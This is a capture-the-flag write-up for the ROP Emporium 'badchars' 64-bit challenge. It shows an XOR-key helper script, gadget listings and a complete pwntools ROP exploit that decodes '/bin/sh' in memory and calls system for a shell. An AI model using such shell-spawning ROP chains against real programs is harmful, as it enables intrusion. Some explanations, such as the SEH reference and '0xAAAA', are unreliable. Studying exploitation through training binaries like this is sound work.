##### XOR ROP — badchars (64bit)

If you have been following along, you will have seen the ROP Emporium write-ups, this one deserves one focused more on the details as the final exploit needs to do some things for our payload to succeed.

#### The Clues

Moar XOR: You’ll still need to deal with writing a string into memory, similar to the write4 challenge, that may have badchars in it. Think about how we’re going to overcome this obstacle; could we use gadgets to change the string once it’s in memory?

Helper functions: It’s almost certainly worth your time writing a helper function for this challenge {…} There’s always a chance you could find a string that does what you want and doesn’t contain any badchars either…

Ok, so we want a helper function and we need to XOR some bits. If you don’t follow yet please bear with me…

#### XOR

(eXclusive OR) A Boolean logic operation that is widely used in cryptography as well as in generating parity bits for error checking and fault tolerance. XOR compares two input bits and generates one output bit. The logic is simple. If the bits are the same, the result is 0. If the bits are different, the result is 1.

Have a play with this online tool to try and figure out what’s happening if you don’t understand the above…XOR Calculator Online
Calculate the exclusive or (XOR) with a simple web-based calculator. Input and output in binary, decimal, hexadecimal…xor.pw

#### ASCII Character Table

Another important thing to understand next is that what we call a letter in the alphabet is not read by the computer in the same way. You know in all those exploit tutorials you send A*500, then you so SEGFAULT in 0x41414141, well that’s because the computer tries to go to address 0xAAAA which of course is total junk. Here is a table to show the extended character space.

#### XOR Test

Now we know about the ASCII table we can try the XOR calculator to understand what we will do next.

Let’s XOR A, or the machine equivalent 41 with 2, the number we will use in the exploit.

The result is 43, as we expect which is now a C if we convert it back to ASCII. Now we have the XOR’d result and we know what it was XOR’d with, 2, we can reverse it.

Perfect, this is exactly what we will do with the final exploit.

#### Helper Function

As stated, we should write a helper function, this following function does the following:

• Loop to 255, entire ASCII range
• 8 loops to concatenate 8 bytes of XOR calculation (64 bit address)
• Then we check if the badchars are present, if not print and then die
`badchars = [0x62, 0x69, 0x63, 0x2f, 0x20, 0x66, 0x6e, 0x73]sh = "/bin/sh\x00"#Loop 0 to 255for i in xrange(255):    flag = True    # 8 loops, for 8 bytes we concat the result of the xor    new_sh = "".join([chr(i^ord(sh[x])) for x in xrange(len(sh))])    #Now we loop through all 8 bytes of bad chars and if it's found in new string we ignore it    for b in badchars:        if chr(b) in new_sh:            flag = False    #If we made it past the bad character check we print out the result and exit    if flag:        print "^"+str(i)        print new_sh.encode('hex')        exit()`

The first result that is safe of badchars is XOR w/ 2. If we remove the exit() you can see there are many valid strings we could use.

We will stick with 2 for now, if you choose something else change line rop = p64(2) in exploit to p64(x).

We now have the string we can use, so now we just need to find the gadgets we want, most are in usefulGadgets as before.

`0x0000000000400b3b : pop r12 ; pop r13 ; ret0x0000000000400b34 : mov qword ptr [r13], r12 ; ret0x0000000000400b40 : pop r14 ; pop r15 ; ret0x0000000000400b30 : xor byte ptr [r15], r14b ; ret0x0000000000400b39 : pop rdi ; ret`

We should know most of these by now…

`pop r12 ; pop r13 ; ret - sets up SEH conditionpop rdi ; ret - called to load value into register for syscallpop r14 ; pop r15 ; ret - prepping conditionmov qword ptr [r13], r12 ; ret - move pointer to register`

The one we are looking at specifically is this one…

`xor byte ptr [r15], r14b ; ret`

Tries to compute an xor operation of the value in the register r14b (Lower 8 bits of r14 64bit register) and a value of the byte in memory.

We load 2 into memory for the XOR like this..

`rop += p64(pop_pop_ret_45_address) #pop r14 ; pop r15 ; retrop += p64(2) int 2rop += p64(write_start_address+i) #.data segment+i val from looprop += p64(xor_ret_address) #xor byte ptr [r15], r14b ; ret`

Now we have all the bits we need. Address to write to, system address, an XORd string that bypasses bad characters, a gadget that can XOR value back to end up with “/bin/sh\x00” which is what we need for our syscall and some usual gadgets to get the job done.

#### Final Exploit

`from pwn import *`
`rop = "A" * 40#pop r12 ; pop r13 ; retrop += p64(0x400b3b)#Output from helper script - 0x2d606b6c2d716a02rop += p64(0x2d606b6c2d716a02, endianness="big")#Write start addressrop += p64(0x006010f0)#mov qword ptr [r13], r12 ; retrop += p64(0x400b34)for i in xrange(8):    #pop r14 ; pop r15 ; ret    rop += p64(0x400b40)    rop += p64(2)    #Write start address+i    rop += p64(0x6010f0+i)    #xor byte ptr [r15], r14b ; ret    rop += p64(0x400b30)#pop rdi ; retrop += p64(0x400b39)#Write start addressrop += p64(0x6010f0)#System addressrop += p64(0x4006F0)`
`p = process("./badchars")p.sendline(rop)p.interactive()`

Don’t be confused by some addresses above, tools will give you 64bit address, but just for sanity I usually trim them to 32bit size and then use pwntools p64() function to covert back.

`0x0000000000400b3b = 0x400b3bp64(0x400b3b) = 0x0000000000400b3b`